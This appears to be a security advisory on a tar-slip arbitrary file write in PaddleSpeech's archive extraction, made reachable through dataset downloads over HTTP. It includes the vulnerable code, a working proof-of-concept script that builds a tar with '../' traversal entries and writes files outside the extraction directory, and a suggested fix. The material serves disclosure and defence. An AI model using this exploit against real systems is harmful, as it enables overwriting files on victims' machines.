Tar-Slip Arbitrary File Write via HTTP Download in PaddleSpeech

def _uncompress_file_tar(filepath, mode="r:*"):
    files = tarfile.open(filepath, mode)
    file_list = files.getnames()
    file_dir = os.path.dirname(filepath)

    if _is_a_single_file(file_list):
        for item in file_list:
            files.extract(item, file_dir)        # ← no path validation
    elif _is_a_single_dir(file_list):
        for item in file_list:
            files.extract(item, file_dir)        # ← no path validation
    else:
        for item in file_list:
            files.extract(item, ...)             # ← no path validation

# paddlespeech/dataset/aidatatang_200zh/aidatatang_200zh.py
URL_ROOT = 'http://www.openslr.org/resources/62'

# paddlespeech/dataset/aishell/aishell.py
URL_ROOT = 'http://openslr.elda.org/resources/33'

# paddlespeech/utils/env.py
def _get_paddlespcceh_home():
    return os.path.join(os.path.expanduser('~'), '.paddlespeech')

import io
import os
import shutil
import sys
import tarfile
import tempfile
import threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
from pathlib import Path

from paddlespeech.cli.download import _uncompress_file_tar

WORK_DIR = Path(tempfile.mkdtemp(prefix="ps_exploit_"))
SERVE_DIR = Path(tempfile.mkdtemp(prefix="ps_serve_"))


def build_malicious_tar():
    """Create tar with path traversal entries."""
    tar_path = WORK_DIR / "malicious_model.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        # Traversal entry
        info = tarfile.TarInfo(name="../pwned.txt")
        data = b"PADDLESPEECH_TARSLIP_ARBITRARY_WRITE\n"
        info.size = len(data)
        tf.addfile(info, io.BytesIO(data))

        # Second traversal
        info2 = tarfile.TarInfo(name="../../../tmp/paddlespeech_tarslip_proof.txt")
        data2 = b"DEEP_TRAVERSAL_RCE\n"
        info2.size = len(data2)
        tf.addfile(info2, io.BytesIO(data2))
    return tar_path


def main():
    import importlib.metadata
    print(f"paddlespeech=={importlib.metadata.version('paddlespeech')}")
    print(f"Work dir: {WORK_DIR}")
    print()

    # Build malicious tar (simulating what MITM attacker serves)
    tar_path = build_malicious_tar()
    with tarfile.open(str(tar_path)) as tf:
        print(f"[1] Malicious tar: {tar_path}")
        print(f"    Members: {tf.getnames()}")

    # Call the real paddlespeech extraction function
    # This is exactly what happens after download in the CLI pipeline:
    #   download → _uncompress_file_tar(filepath)
    print(f"[2] Calling paddlespeech _uncompress_file_tar()")
    _uncompress_file_tar(str(tar_path))

    # Verify traversal
    print()
    success = False

    proof = Path("/tmp/paddlespeech_tarslip_proof.txt")
    if proof.exists():
        print(f"[+] DEEP TRAVERSAL: {proof}")
        print(f"    Content: {proof.read_text().strip()}")
        proof.unlink()
        success = True

    escaped = WORK_DIR.parent / "pwned.txt"
    if escaped.exists():
        print(f"[+] ESCAPED EXTRACT DIR: {escaped}")
        print(f"    Content: {escaped.read_text().strip()}")
        escaped.unlink()
        success = True

    if success:
        print(f"\n[+] EXPLOIT SUCCESSFUL — arbitrary write via paddlespeech tarfile.extract")
    else:
        print("[-] Failed")

    shutil.rmtree(str(WORK_DIR), ignore_errors=True)
    shutil.rmtree(str(SERVE_DIR), ignore_errors=True)
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

def _uncompress_file_tar(filepath, mode="r:*"):
    files = tarfile.open(filepath, mode)
    file_list = files.getnames()
    file_dir = os.path.dirname(filepath)

    for name in file_list:
        if name.startswith('/') or '..' in name.split('/'):
            raise ValueError(f"Path traversal detected in tar member: {name}")
    # ... rest of extraction logic